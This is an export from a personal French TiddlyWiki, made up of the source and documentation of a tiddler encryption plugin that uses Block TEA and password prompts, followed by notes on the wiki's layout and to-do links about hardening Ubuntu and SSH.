** Automatic removal of excludeLists and excludeSearch tags is performed, if the above two options are set, only if these two tags are the last 2 tags for a tiddler, if they are positioned somewhere else in the tags list, they will be left in place, meaning that the decrypted tiddler will not be searchable and/or will not appear in lists.
** Encrypted tiddlers are stored as displayable hex, to keep things visibly tidy, should you display an encrypted tiddler. There is nothing worse than seeing a pile of gobbledy gook on your screen. Additionally, the encrypted data is easily cut/paste/emailed if displayed in hex form.
* Tiddlers are decrypted only if you click the decrypt button or the decryptAll button, not when you load the TiddlyWiki
** If you don't display a tiddler, you won't have the option to decrypt it (unless you use the {{{<<EncryptionDecryptAll>>}}} macro)
** Tiddlers will re-encrypt automatically on save.
** Decryption of Tiddlers does not make your TiddlyWiki 'dirty' - you will not be asked to save if you leave the page.
* Errors are reported via diagnostic messages.
** Empty passwords, on save, will result in the tiddler being saved unencrypted - this should only occur with new tiddlers, decrypted tiddlers or with tiddlers who have had their 'prompt' tag changed.
** Encrypted tiddlers know if they are decrypted successfully - failure to decrypt a tiddler will ''not'' lose your data.
** Editing of an encrypted (that has not been unencrypted) tiddler will result in loss of that tiddler as the SHA1 checksums will no longer match, upon decryption. To this end, it is best that you do not check the option. You can, however edit an encrypted tiddler tag list - just do ''not'' change the tiddler contents.
** To change the password on a Tiddler, change the Encrypt('prompt') tag to a new prompt value, after decrypting the tiddler.
** You can edit the tags of an encrypted tiddler, so long as you do not edit the text.
** To change the password for all tiddlers of a particular prompt, use the {{{<<EncryptionChangePassword ["button text" ["tooltip text" ["prompt string" ["accessKey"]]]]>>}}} macro.
** To decrypt all tiddlers of a particular "prompt string", use the {{{<<EncryptionDecryptAll ["button text" ["tooltip text" ["prompt string" ["accessKey"]]]]>>}}} macro - this will make tiddlers encrypted with "prompt string" searchable - or prompt for all 'prompt strings', if none is supplied.
<<<
!!!!!Configuration
<<<
Useful Buttons: 
<<EncryptionChangePassword>> - Change passwords of encrypted tiddlers.
<<EncryptionDecryptAll>> - Decrypt ALL tiddlers - enables searching contents of encrypted tiddlers.
<<option chkExcludeEncryptedFromSearch>> - If set, Encrypted Tiddlers are excluded from searching by tagging with excludeSearch. If Clear, excludeSearch is not added and it is also removed from existing Encrypted Tiddlers only if it is the last Tag. Searching of Encrypted Tiddlers is only meaningful for the Title and Tags.
<<option chkExcludeEncryptedFromLists>> - If set, Encrypted Tiddlers are excluded from lists by tagging with excludeLists. If Clear, excludeLists is not added and it is also removed from existing Encrypted Tiddlers only if it is the last Tag. Preventing encrypted tiddlers from appearing in lists effectively hides them.
<<option chkShowDecryptButtonInContent>> - If set, Encrypted Tiddlers content is replaced by <<EncryptionDecryptThis>> button. This has consequences, in the current version as, if you edit the tiddler without decrypting it, you lose the contents.
<<<
!!!!!Revision History
<<<
* 3.2.1 - Returned the <<EncryptionDecryptThis>> button as an option.
* 3.2.0 - Ditched the 'Decrypt' button showing up in the tiddler contents if the tiddler is encrypted. It caused too much pain if you edit the tiddler without decrypting it - you lost your data as it was replaced by a Decrypt Macro call!  Additionally, a 'decrypt' button will now appear in the toolbar, just before the edit button, if the tiddler is encrypted. This button only appears if using core TiddlyWiki version 2.4 or above.
* 3.1.1 - Obscure bug whereby if an encrypted tiddler was a certain length, it would refuse to decrypt.
* 3.1.0 - When creating a new Encrypt(prompt) tiddler and you have not previously decrypted a tiddler with the same prompt, on save, you will be prompted for the password to encrypt the tiddler. Prior to encrypting, an attempt to decrypt all other tiddlers with the same prompt, is performed. If any tiddler fails to decrypt, the save is aborted - this is so you don't accidentally have 2 (or more!) passwords for the same prompt. Either you enter the correct password, change the prompt string and try re-saving or you cancel (and the tiddler is saved unencrypted).
* 3.0.1 - Allow Enter to be used for password entry, rather than having to press the OK button.
* 3.0.0 - Major revamp internally to support entry of passwords using forms such that passwords are no longer visible on entry. Completely backward compatible with old encrypted tiddlers. No more using the javascript prompt() function.
<<<
!!!!!Additional work

***/
//{{{
version.extensions.TiddlerEncryptionPlugin = {major: 3, minor: 2, revision: 1, date: new Date(2008,10,26)};

// where I cache the passwords - for want of a better place.
config.encryptionPasswords = new Array();
config.encryptionReEnterPasswords = false;

if(config.options.chkExcludeEncryptedFromSearch == undefined) config.options.chkExcludeEncryptedFromSearch = false;
if(config.options.chkExcludeEncryptedFromLists == undefined) config.options.chkExcludeEncryptedFromLists = false;
if(config.options.chkShowDecryptButtonInContent == undefined) config.options.chkShowDecryptButtonInContent = false;

config.macros.EncryptionChangePassword = {};
config.macros.EncryptionChangePassword.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
    var theButton = createTiddlyButton(place,
				       (params[0] && params[0].length > 0) ? params[0] : "Change Passwords", 
				       (params[1] && params[1].length > 0) ? params[1] : "Change Passwords" + (params[2] ? " for prompt "+params[2] : ""), 
				       onClickEncryptionChangePassword,
				       null,
				       null,
				       params[3]);
    if(params[2] && params[2].length > 0) {
	theButton.setAttribute("promptString", params[2]);
    }
};

config.macros.EncryptionDecryptAll = {};
config.macros.EncryptionDecryptAll.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
    var theButton = createTiddlyButton(place,
				       (params[0] && params[0].length > 0) ? params[0] : "Decrypt All", 
				       (params[1] && params[1].length > 0) ? params[1] : "Decrypt All Tiddlers" + ((params[2] && params[2].length > 0) ? " for prompt "+params[2] : " for a given 'prompt string'"), 
				       onClickEncryptionDecryptAll,
				       null,
				       null,
				       params[3]);
    if(params[2] && params[2].length > 0) {
	theButton.setAttribute("promptString", params[2]);
    }
};

config.macros.EncryptionDecryptThis = {};
config.macros.EncryptionDecryptThis.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
    var theButton = createTiddlyButton(place,
				       (params[0] && params[0].length > 0) ? params[0] : "Decrypt", 
				       (params[1] && params[1].length > 0) ? params[1] : "Decrypt this Tiddler", 
				       onClickEncryptionDecryptThis,
				       null,
				       null,
				       params[3]);
    if(params[2] && params[2].length > 0) {
	theButton.setAttribute("theTiddler", params[2]);
    }
};
// toolbar button to decrypt tiddlers.
config.commands.decryptThis = {
  text: "decrypt",
  tooltip: "Decrypt this tiddler",
  isEnabled : function(tiddler) {
	// Only show decrypt button if tiddler is tagged as Decrypt(
	if(tiddler.tags.join().indexOf('Decrypt(') == -1)  {
	    return false;
	} else {
	    return true;
	}
    },	
  handler: function(event, src, title) {
	encryptionGetAndDecryptTiddler(title);
	return false; 
    }
};
// core version 2.4 or above get a 'decrypt' button in the toolbar.
if(config.shadowTiddlers && config.shadowTiddlers.ToolbarCommands  && config.shadowTiddlers.ToolbarCommands.indexOf('decryptThis') == -1) {
    // put our toolbar button in before the edit button.
    // won't work if editTiddler is not the default item (prefixed with plus)
    config.shadowTiddlers.ToolbarCommands.replace(/\+editTiddler/,'decryptThis +editTiddler');
}


// Called by the EncryptionChangePassword macro/button
// Also invoked by the callback for password entry
function onClickEncryptionChangePassword(eventObject) {
    var promptString;
    if(!promptString && this.getAttribute) {
	promptString = this.getAttribute("promptString");
    }
    // I do call this function directly
    if(!promptString && typeof(eventObject) == "string") {
	promptString = eventObject;
    }
    if(!promptString) {
	promptString = prompt("Enter 'prompt string' to change password for:","");
    }
    if(!promptString) {
	return;
    }
    if(! config.encryptionPasswords[promptString]) {
	var changePasswordContext = {changePasswordPromptString: promptString,
				     callbackFunction: MyChangePasswordPromptCallback_TiddlerEncryptionPlugin};
	MyPrompt_TiddlerEncryptionPlugin(promptString,"",changePasswordContext);
	return;
	// Callback function will re-invoke this function
    }

    // Decrypt ALL tiddlers for that prompt
    onClickEncryptionDecryptAll(promptString);
    // Now ditch the cached password, this will force the re-request for the new password, on save.
    displayMessage("Save TiddlyWiki to set new password for '"+promptString+"'");
    config.encryptionPasswords[promptString] = null;
    // mark store as dirty so a save will be requrested.
    store.setDirty(true);
    autoSaveChanges(); 
    return;
};
// Called by the password entry form when the user clicks 'OK' button.
function MyChangePasswordPromptCallback_TiddlerEncryptionPlugin(context) {
    config.encryptionPasswords[context.passwordPrompt] = context.password;
    onClickEncryptionChangePassword(context.changePasswordPromptString);
    return;
}
// Called by the EncryptionDecryptThis macro/button
function onClickEncryptionDecryptThis() {
    var theTiddler = this.getAttribute("theTiddler");
    if(!theTiddler) {
	return;
    }
    encryptionGetAndDecryptTiddler(theTiddler);
    return;
};

function encryptionGetAndDecryptTiddler(title) {
    config.encryptionReEnterPasswords = true;
    try {
	theTiddler = store.getTiddler(title);
	config.encryptionReEnterPasswords = false;
	story.refreshAllTiddlers();
    } catch (e) {
	if(e == "DecryptionFailed") {
	    displayMessage("Decryption failed");
	    return;
	}
    } // catch
    return;
};

// called by the EncryptionDecryptAlll macro/button
// Also called by the callback after the user clicks 'OK' button on the password entry form
function onClickEncryptionDecryptAll(eventObject) {
    var promptString;
    if(!promptString && this.getAttribute) {
	promptString = this.getAttribute("promptString");
    }
    // I do call this function directly
    if(!promptString && typeof(eventObject) == "string") {
	promptString = eventObject;
    }
    if(!promptString) {
	promptString = "";
    }

    // Loop through all tiddlers, looking to see if there are any Decrypt(promptString) tagged tiddlers
    // If there are, check to see if their password has been cached.
    // If not, ask for the first one that is missing, that we find
    // the call back function will store that password then invoke this function again, 
    // which will repeat the whole process. If we find all passwords have been cached
    // then we will finally do the decryptAll functionality, which will then
    // be able to decrypt all the required tiddlers, without prompting.
    // We have to do this whole rigmarole because we are using a 'form' to enter the password
    // rather than the 'prompt()' function - which shows the value of the password.
    var tagToSearchFor="Decrypt("+promptString;
    config.encryptionReEnterPasswords = true; 
    var promptGenerated = false;
    store.forEachTiddler(function(store,tiddler) {
	    // Note, there is no way to stop the forEachTiddler iterations
	    if(!promptGenerated && tiddler && tiddler.tags) {
		for(var ix=0; ix<tiddler.tags.length && !promptGenerated; ix++) {
		    if(tiddler.tags[ix].indexOf(tagToSearchFor) == 0) {
			var tag = tiddler.tags[ix];
			var lastBracket=tag.lastIndexOf(")");
			if(lastBracket >= 0) {
			    // Ok, tagged with Encrypt(passwordPrompt)
			    // extract the passwordPrompt name
			    var passwordPromptString=tag.substring(8,lastBracket);
			    if(!config.encryptionPasswords[passwordPromptString]) {
				// no password cached, prompt and cache it, rather than decryptAll
				// callback from prompting form will resume decryptAll attempt.
				var decryptAllContext = {decryptAllPromptString: promptString,
							 callbackFunction: MyDecryptAllPromptCallback_TiddlerEncryptionPlugin};
				MyPrompt_TiddlerEncryptionPlugin(passwordPromptString,"",decryptAllContext);
				promptGenerated = true;
			    } // if(!config.encryptionPasswords
			} // if(lastBracket
		    } // if(tiddler.tags[ix]..
		} // for
	    } // if
	}); // store.forEachTiddler
    // If we get here, all passwords have been cached.
    if(!promptGenerated) {
	config.encryptionReEnterPasswords = false;
	// Now do the decrypt all functionality
	try {
	    store.forEachTiddler(function(store,tiddler) {
		    // Note, there is no way to stop the forEachTiddler iterations
		    if(tiddler && tiddler.tags) {
			for(var ix=0; ix<tiddler.tags.length; ix++) {
			    if(tiddler.tags[ix].indexOf(tagToSearchFor) == 0) {
				try {
				    CheckTiddlerForDecryption_TiddlerEncryptionPlugin(tiddler);
				} catch (e) {
				    displayMessage("Decryption of '"+tiddler.title+"' failed.");
				    // throw e;
				}
			    } // if(tiddler.tags
			} // for
		    } // if
		}); // store.forEachTiddler
	    displayMessage("All tiddlers" + (promptString != "" ? " for '"+promptString+"'" : "") + " have been decrypted");
	} catch (e) {
	    if(e == "DecryptionFailed") {
		return;
	    }
	} // catch
    }
    return;
};

function MyDecryptAllPromptCallback_TiddlerEncryptionPlugin(context) {
    config.encryptionPasswords[context.passwordPrompt] = context.password;
    // restart the decryptAll process again after the user has entered a password.
    onClickEncryptionDecryptAll(context.decryptAllPromptString);
    return;
}

saveChanges_TiddlerEncryptionPlugin = saveChanges;
saveChanges = function(onlyIfDirty,tiddlers) {
    // Loop through all tiddlers, looking to see if there are any Encrypt(string) tagged tiddlers
    // If there are, check to see if their password has been cached.
    // If not, ask for the first one that is missing, that we find
    // the call back function will store that password then invoke this function again, 
    // which will repeat the whole process. If we find all passwords have been cached
    // then we will finally call the original saveChanges() function, which will then
    // be able to save the tiddlers.
    // We have to do this whole rigmarole because we are using a 'form' to enter the password
    // rather than the 'prompt()' function - which shows the value of the password.
    config.encryptionReEnterPasswords = true; 
    var promptGenerated = false;
    store.forEachTiddler(function(store,tiddler) {
	    if(!promptGenerated && tiddler && tiddler.tags) {
		for(var ix=0; ix<tiddler.tags.length && !promptGenerated; ix++) {
		    if(tiddler.tags[ix].indexOf("Encrypt(") == 0) {
			var tag = tiddler.tags[ix];
			var lastBracket=tag.lastIndexOf(")");
			if(lastBracket >= 0) {
			    // Ok, tagged with Encrypt(passwordPrompt)
			    // extract the passwordPrompt name
			    var passwordPrompt=tag.substring(8,lastBracket);
			    if(!config.encryptionPasswords[passwordPrompt]) {
				// no password cached, prompt and cache it, rather than save
				var saveContext = {onlyIfDirty: onlyIfDirty, 
						   tiddlers: tiddlers, 
				                   callbackFunction: MySavePromptCallback_TiddlerEncryptionPlugin};
				MyPrompt_TiddlerEncryptionPlugin(passwordPrompt,"",saveContext);
				promptGenerated = true;
			    } // if(!config.encryptionPasswords
			} // if(lastBracket
		    } // if(tiddler.tags[ix]..
		} // for
	    } // if
	}); // store.forEachTiddler
    // If we get here, all passwords have been cached.
    if(!promptGenerated) {
	config.encryptionReEnterPasswords = false;
	saveChanges_TiddlerEncryptionPlugin(onlyIfDirty,tiddlers);
    }
    return;
}

function MySavePromptCallback_TiddlerEncryptionPlugin(context) {
    config.encryptionPasswords[context.passwordPrompt] = context.password;
    // validate the password entered by attempting to decrypt all tiddlers
    // with the same encryption prompt string.
    onClickEncryptionDecryptAll(context.passwordPrompt);

    // restart the save process again
    saveChanges(context.onlyIfDirty, context.tiddlers);
    return;
}

store.getSaver().externalizeTiddler_TiddlerEncryptionPlugin = store.getSaver().externalizeTiddler;
store.getSaver().externalizeTiddler = function(store, tiddler) {
    // Ok, got the tiddler, track down the passwordPrompt in the tags.
    // track down the Encrypt(passwordPrompt) tag
    if(tiddler && tiddler.tags) {
	for(var g=0; g<tiddler.tags.length; g++) {
	    var tag = tiddler.tags[g];
	    if(tag.indexOf("Encrypt(") == 0) {
		var lastBracket=tag.lastIndexOf(")");
		if(lastBracket >= 0) {
		    // Ok, tagged with Encrypt(passwordPrompt)
		    // extract the passwordPrompt name
		    var passwordPrompt=tag.substring(8,lastBracket);
		    // Ok, Encrypt this tiddler!
		    var decryptedSHA1 = Crypto.hexSha1Str(tiddler.text);
		    var password =  GetAndSetPasswordForPrompt_TiddlerEncryptionPlugin(passwordPrompt);
		    if(password) {
			var encryptedText = TEAencrypt(tiddler.text, password);
			encryptedText = StringToHext_TiddlerEncryptionPlugin(encryptedText);
			tiddler.text = "Encrypted("+decryptedSHA1+")\n"+encryptedText;
			// Replace the Tag with the Decrypt() tag
			tiddler.tags[g]="Decrypt("+passwordPrompt+")";
			// let the store know it's dirty
			store.setDirty(tiddler.title, true);
			// prevent searches on encrypted tiddlers, still nice to search on title though.
			if(config.options.chkExcludeEncryptedFromSearch == true) {
			    tiddler.tags.push("excludeSearch");
			}
			// prevent lists of encrypted tiddlers
			if(config.options.chkExcludeEncryptedFromLists == true) {
			    tiddler.tags.push("excludeLists");
			}
		    } else {
			// do not encrypt - no password entered
		    }
		    break;
		} // if (lastBracket...
	    } // if(tag.indexOf(...
	} // for(var g=0;...
    } // if(tiddler.tags...
    
    // Then, finally, do the save by calling the function we override.

    return store.getSaver().externalizeTiddler_TiddlerEncryptionPlugin(store, tiddler);
};

function CheckTiddlerForDecryption_TiddlerEncryptionPlugin(tiddler) {
    if(tiddler && tiddler.tags) {
	for(var g=0; g<tiddler.tags.length; g++) {
	    var tag = tiddler.tags[g];
	    if(tag.indexOf("Decrypt(") == 0) {
		var lastBracket=tag.lastIndexOf(")");
		if(lastBracket >= 0) {
		    if(tiddler.text.substr(0,10) == "Encrypted(") {
			var closingSHA1Bracket = tiddler.text.indexOf(")");
			var decryptedSHA1 = tiddler.text.substring(10, closingSHA1Bracket);
			// Ok, tagged with Decrypt(passwordPrompt)
			// extract the passwordPrompt name
			var passwordPrompt=tag.substring(8,lastBracket);
			// Ok, Decrypt this tiddler!
			var decryptedText = tiddler.text.substr(closingSHA1Bracket+2);
			decryptedText = HexToString_TiddlerEncryptionPlugin(decryptedText);
                        // prompt("Decryption request for Tiddler '"+tiddler.title+"'");
			var password = GetAndSetPasswordForPromptToDecrypt_TiddlerEncryptionPlugin(passwordPrompt);
			if(password) {
			    decryptedText = TEAdecrypt(decryptedText, password );
			    var thisDecryptedSHA1 = Crypto.hexSha1Str(decryptedText);
			    if(decryptedSHA1 == thisDecryptedSHA1) {
				tiddler.text = decryptedText;
				// Replace the Tag with the Encrypt() tag
				tiddler.tags[g]="Encrypt("+passwordPrompt+")";
				if(tiddler.tags[tiddler.tags.length-1] == 'excludeLists') {
				    // Remove exclude lists only if it's the last entry
				    // as it's automatically put there by encryption
				    tiddler.tags.length--;
				}
				if(tiddler.tags[tiddler.tags.length-1] == 'excludeSearch') {
				    // Remove exclude search only if it's the last entry
				    // as it's automatically put there by encryption
				    tiddler.tags.length--;
				}
			    } else {
				// Did not decrypt, discard the password from the cache
				config.encryptionPasswords[passwordPrompt] = null;
				config.encryptionReEnterPasswords = false;
				throw "DecryptionFailed";
			    }
			} else {
			    // no password supplied, dont bother trying to decrypt
			    config.encryptionReEnterPasswords = false;
			    throw "DecryptionFailed";
			}
		    } else {
			// Tagged as encrypted but not expected format, just leave it unchanged
		    }
		    break; // out of for loop
		} // if (lastBracket...
	    } // if(tag.indexOf(...
	} // for(var g=0;...
    } // if (tiddler && tags)
    return tiddler;
};

store.getTiddler_TiddlerEncryptionPlugin = store.getTiddler;
store.getTiddler = function(title) {
    var tiddler = store.getTiddler_TiddlerEncryptionPlugin(title);
    if(tiddler) { // shadow tiddlers are not expected to be encrypted.
	try {
	    return CheckTiddlerForDecryption_TiddlerEncryptionPlugin(tiddler);
	} catch (e) {
	    if (config.options.chkShowDecryptButtonInContent == true) {
		if(e == "DecryptionFailed") {
		    var tiddler = store.getTiddler("DecryptionFailed");
		    if(!tiddler) {
			tiddler = new Tiddler();
			tiddler.set(title,
				    "<<EncryptionDecryptThis \"Decrypt\" \"Decrypt this tiddler\" \""+title+"\">>",
				    config.views.wikified.shadowModifier,
				    version.date,[],version.date);
		    } 
		    return tiddler;
		} // if(e)
	    }
	    return(tiddler);
	} // catch
    } // if(tiddler) {
    return null;
};

store.getTiddlerText_TiddlerEncryptionPlugin = store.getTiddlerText;
store.getTiddlerText = function(title,defaultText) {
    // Simply retrieve the tiddler, normally, if it requires decryption, it will be decrypted
    var decryptedTiddler = store.getTiddler(title);
    if(decryptedTiddler) {
	return decryptedTiddler.text;
    }
    //Ok, rather than duplicate all the core code, the above code should fail if we reach here
    // let the core code take over.
    return  store.getTiddlerText_TiddlerEncryptionPlugin(title,defaultText);
};

// Given a prompt, search our cache to see if we have already entered the password.
// Can return null if the user enters nothing.
function MyPrompt_TiddlerEncryptionPlugin(promptString,defaultValue,context) {
    if(!context) {
	context = {};
    }
    context.passwordPrompt = promptString;
    PasswordPrompt.prompt(MyPromptCallback_TiddlerEncryptionPlugin, context);
    return;
}

function MyPromptCallback_TiddlerEncryptionPlugin(context) {
    if(context.callbackFunction) {
	context.callbackFunction(context);
    } else {
	config.encryptionPasswords[context.passwordPrompt] = context.password;
	story.refreshAllTiddlers(true);
    }
    return;
}

function GetAndSetPasswordForPrompt_TiddlerEncryptionPlugin(promptString) {
    if(!config.encryptionPasswords[promptString]) {
	config.encryptionPasswords[promptString] = MyPrompt_TiddlerEncryptionPlugin(promptString, "");
    }
    return config.encryptionPasswords[promptString]; // may be null, prompt can be cancelled.
}

function GetAndSetPasswordForPromptToDecrypt_TiddlerEncryptionPlugin(promptString) {
    if(config.encryptionReEnterPasswords) {
	return GetAndSetPasswordForPrompt_TiddlerEncryptionPlugin(promptString);
    } else {
	return config.encryptionPasswords[promptString];
    }
}

// Make the encrypted tiddlies look a little more presentable.
function StringToHext_TiddlerEncryptionPlugin(theString) {
    var theResult = "";
    for(var i=0; i<theString.length; i++) {
	var theHex = theString.charCodeAt(i).toString(16);
	if(theHex.length<2) {
	    theResult += "0"+theHex;
	} else {
	    theResult += theHex;
	}
	if(i && i % 32 == 0)
	    theResult += "\n";
    }
    return theResult;
}

function HexToString_TiddlerEncryptionPlugin(theString) {
    var theResult = "";
    for(var i=0; i<theString.length; i+=2) {
	if(theString.charAt(i) == "\n") {
	    i--;	// cause us to skip over the newline and resume
	    continue;
	}
	theResult += String.fromCharCode(parseInt(theString.substr(i, 2),16));
    }
    return theResult;
}
//
// Heavily leveraged from http://trac.tiddlywiki.org/browser/Trunk/contributors/SaqImtiaz/verticals/Hesperian/PasswordPromptPlugin.js  Revision 5635
//
PasswordPrompt ={
  prompt : function(callback,context){
	if (!context) {
	    context = {};
	}
	var box = createTiddlyElement(document.getElementById("contentWrapper"),'div','passwordPromptBox');
	box.innerHTML = store.getTiddlerText('PasswordPromptTemplate');
	box.style.position = 'absolute';
	this.center(box);
	document.getElementById('promptDisplayField').value = context.passwordPrompt;
	var passwordInputField = document.getElementById('passwordInputField');
	passwordInputField.onkeyup = function(ev) {
	    var e = ev || window.event;
	    if(e.keyCode == 10 || e.keyCode == 13) { // Enter
		PasswordPrompt.submit(callback, context);
	    }
	};
	passwordInputField.focus();
	document.getElementById('passwordPromptSubmitBtn').onclick = function(){PasswordPrompt.submit(callback,context);};
	document.getElementById('passwordPromptCancelBtn').onclick = function(){PasswordPrompt.cancel(callback,context);};
    },     
 	       
  center : function(el){
	var size = this.getsize(el);
	el.style.left = (Math.round(findWindowWidth()/2) - (size.width /2) + findScrollX())+'px';
	el.style.top = (Math.round(findWindowHeight()/2) - (size.height /2) + findScrollY())+'px';
    },
 	       
  getsize : function (el){
	var x = {};
	x.width = el.offsetWidth || el.style.pixelWidth;
	x.height = el.offsetHeight || el.style.pixelHeight;
	return x;
    },
 	       
  submit : function(cb,context){
	context.passwordPrompt = document.getElementById('promptDisplayField').value;
	context.password = document.getElementById('passwordInputField').value;
	var box = document.getElementById('passwordPromptBox');
	box.parentNode.removeChild(box);
	cb(context);
	return false;
    },

  cancel : function(cb,context){
	var box = document.getElementById('passwordPromptBox');
	box.parentNode.removeChild(box);
	return false;
    },
 	       
  setStyles : function(){
	setStylesheet(
	    "#passwordPromptBox dd.submit {margin-left:0; font-weight: bold; margin-top:1em;}\n"+
	    "#passwordPromptBox dd.submit .button {padding:0.5em 1em; border:1px solid #ccc;}\n"+
	    "#passwordPromptBox dt.heading {margin-bottom:0.5em; font-size:1.2em;}\n"+
	    "#passwordPromptBox {border:1px solid #ccc;background-color: #eee;padding:1em 2em;}",'passwordPromptStyles');
    },
 	       
  template : '<form action="" onsubmit="return false;" id="passwordPromptForm">\n'+
  '    <dl>\n'+
  '        <dt class="heading">Please enter the password:</dt>\n'+
  '        <dt>Prompt:</dt>\n'+
  '        <dd><input type="text" readonly id="promptDisplayField" class="display"/></dd>\n'+
  '        <dt>Password:</dt>\n'+
  '        <dd><input type="password" tabindex="1" class="input" id="passwordInputField"/></dd>\n'+
  '        <dd class="submit">\n'+
  '            <a tabindex="2" href="javascript:;" class="button" id="passwordPromptSubmitBtn">OK</a>\n'+
  '            <a tabindex="3" href="javascript:;" class="button" id="passwordPromptCancelBtn">Cancel</a>\n'+
  '        </dd>\n'+
  '    </dl>\n'+
  '</form>',
 	                         
  init : function(){
	config.shadowTiddlers.PasswordPromptTemplate = this.template;
	this.setStyles();
    }
};
 	
PasswordPrompt.init();

// http://www.movable-type.co.uk/scripts/tea-block.html
//
// TEAencrypt: Use Corrected Block TEA to encrypt plaintext using password
//             (note plaintext & password must be strings not string objects)
//
// Return encrypted text as string
//
function TEAencrypt(plaintext, password)
{
    if (plaintext.length == 0) return('');  // nothing to encrypt
    // 'escape' plaintext so chars outside ISO-8859-1 work in single-byte packing, but keep
    // spaces as spaces (not '%20') so encrypted text doesn't grow too long (quick & dirty)
    var asciitext = escape(plaintext).replace(/%20/g,' ');
    var v = strToLongs(asciitext);  // convert string to array of longs
    if (v.length <= 1) v[1] = 0;  // algorithm doesn't work for n<2 so fudge by adding a null
    var k = strToLongs(password.slice(0,16));  // simply convert first 16 chars of password as key
    var n = v.length;

    var z = v[n-1], y = v[0], delta = 0x9E3779B9;
    var mx, e, q = Math.floor(6 + 52/n), sum = 0;

    while (q-- > 0) {  // 6 + 52/n operations gives between 6 & 32 mixes on each word
        sum += delta;
        e = sum>>>2 & 3;
        for (var p = 0; p < n; p++) {
            y = v[(p+1)%n];
            mx = (z>>>5 ^ y<<2) + (y>>>3 ^ z<<4) ^ (sum^y) + (k[p&3 ^ e] ^ z);
            z = v[p] += mx;
        }
    }

    var ciphertext = longsToStr(v);

    return escCtrlCh(ciphertext);
}

//
// TEAdecrypt: Use Corrected Block TEA to decrypt ciphertext using password
//
function TEAdecrypt(ciphertext, password)
{
    if (ciphertext.length == 0) return('');
    var v = strToLongs(unescCtrlCh(ciphertext));
    var k = strToLongs(password.slice(0,16)); 
    var n = v.length;

    var z = v[n-1], y = v[0], delta = 0x9E3779B9;
    var mx, e, q = Math.floor(6 + 52/n), sum = q*delta;

    while (sum != 0) {
        e = sum>>>2 & 3;
        for (var p = n-1; p >= 0; p--) {
            z = v[p>0 ? p-1 : n-1];
            mx = (z>>>5 ^ y<<2) + (y>>>3 ^ z<<4) ^ (sum^y) + (k[p&3 ^ e] ^ z);
            y = v[p] -= mx;
        }
        sum -= delta;
    }

    var plaintext = longsToStr(v);

    // strip trailing null chars resulting from filling 4-char blocks:
    plaintext = plaintext.replace(/\0+$/,'');

    return unescape(plaintext);
}


// supporting functions

function strToLongs(s) {  // convert string to array of longs, each containing 4 chars
    // note chars must be within ISO-8859-1 (with Unicode code-point < 256) to fit 4/long
    var l = new Array(Math.ceil(s.length/4));
    for (var i=0; i<l.length; i++) {
        // note little-endian encoding - endianness is irrelevant as long as 
        // it is the same in longsToStr() 
        l[i] = s.charCodeAt(i*4) + (s.charCodeAt(i*4+1)<<8) + 
               (s.charCodeAt(i*4+2)<<16) + (s.charCodeAt(i*4+3)<<24);
    }
    return l;  // note running off the end of the string generates nulls since 
}              // bitwise operators treat NaN as 0

function longsToStr(l) {  // convert array of longs back to string
    var a = new Array(l.length);
    for (var i=0; i<l.length; i++) {
        a[i] = String.fromCharCode(l[i] & 0xFF, l[i]>>>8 & 0xFF, 
                                   l[i]>>>16 & 0xFF, l[i]>>>24 & 0xFF);
    }
    return a.join('');  // use Array.join() rather than repeated string appends for efficiency
}

function escCtrlCh(str) {  // escape control chars etc which might cause problems with encrypted texts
    return str.replace(/[\0\t\n\v\f\r\xa0'"!]/g, function(c) { return '!' + c.charCodeAt(0) + '!'; });
}

function unescCtrlCh(str) {  // unescape potentially problematic nulls and control characters
    return str.replace(/!\d\d?\d?!/g, function(c) { return String.fromCharCode(c.slice(1,-1)); });
}

//}}}
Ce wiki est propulsé (ça en jette ce mot) par [[TiddlyWiki|http://www.tiddlywiki.com/]] (sous licence BSD) composé d'un seul fichier .html et basé sur javascript, ce qui le rend extrêmement portable (1 fichier de moins de 1 Mb, pas de base de données). Des extensions (sauvegarde, recherche,...) peuvent y être ajoutées. J'utilise actuellement la version <<version>>. Il existe également une [[version francisée|http://avm.online.fr/spip.php?article33]] de Tiddly Wiki. 
Un grand bravo à son [[auteur|http://www.tiddlywiki.com/#JeremyRuston]] !

Voir TiddlyWikiLayout pour un aperçu des modifications apportées à la mise en page.

Les extensions (plugins) suivantes ont également été installées:
|CitationDuJour|
|FavIcon|
|InstallFirefoxExt|
|YourSearchPlugin|
|IntelliTaggerPlugin|
|SplashScreenPlugin|
|ToggleSideBarMacro|
|TiddlerEncryptionPlugin|
|RandomlinkMacro|
Astuce: ''Modifier l'apparence du wiki''
Mots clef: tiddly wiki
<<<
*Modifier la hauteur de la barre de titre:
Dans StyleSheetLayout modifier les hauteurs dans ~.headerShadow et ~.headerForeground, par exemple:
{{{
.headerShadow {
	position: relative;
	padding: 2.5em 0em 1em 1em;
	left: -1px;
	top: -1px;
}

.headerForeground {
	position: absolute;
	padding: 2.5em 0em 1em 1em;
	left: 0px;
	top: 0px;
}
}}}
*Modifier le gradient de couleur de la barre de titre:
Dans PageTemplate changer à volonté les couleurs définies dans la première ligne, par exemple:
{{{
<div class='header' macro='gradient vert #aaa #bbb #ccc #ddd #fff #fff #fff'>
}}}
*Modifier la mise en page (position des différents menus)
Dans StyleSheet l'ensemble de la mise en page (qui peut-être inspirée d'autres tiddly wikis) peut être redéfini.
<<tagging TipX>>
ToDo1:
- Compléter DocuLinux en français
ToDo2:

- Partion et home crypté [[ici|http://ubuntu-tutorials.com/2007/08/17/7-steps-to-an-encrypted-partition-local-or-removable-disk/]], [[là|http://felipe-alfaro.org/blog/2006/09/08/encrypted-home-on-ubuntu-using-dmcrypt/]] et encore [[là|http://www.go2linux.org/how-to-move-home-directory-to-another-partition]]
- Sécurité Grub [[ici|http://www.ubuntugeek.com/how-to-recover-password-under-ubuntu.html]], [[ici|http://ubuntu-tutorials.com/2007/06/22/a-discussion-on-grub-security/]] et [[là|http://ubuntuforums.org/archive/index.php/t-7353.html]]
- [[sécuriser ssh|http://ubuntu-tutorials.com/2007/02/14/what-you-ought-to-know-about-securing-ssh/]] et [[ici|http://www.ubuntugeek.com/securing-ssh.html]]
- [[vnc-over-ssh|http://ubuntu-tutorials.com/2007/06/12/vnc-over-ssh-securing-the-remote-desktop/]]
- [[hide an entire filesystem|http://www.linux.com/articles/60762?tid=35]]
- [[firefox slogger|https://addons.mozilla.org/fr/firefox/addon/143]]
- [[capture audio|http://neoaddict.wordpress.com/2007/03/17/record-audio-via-terminal-in-ubuntu/]]
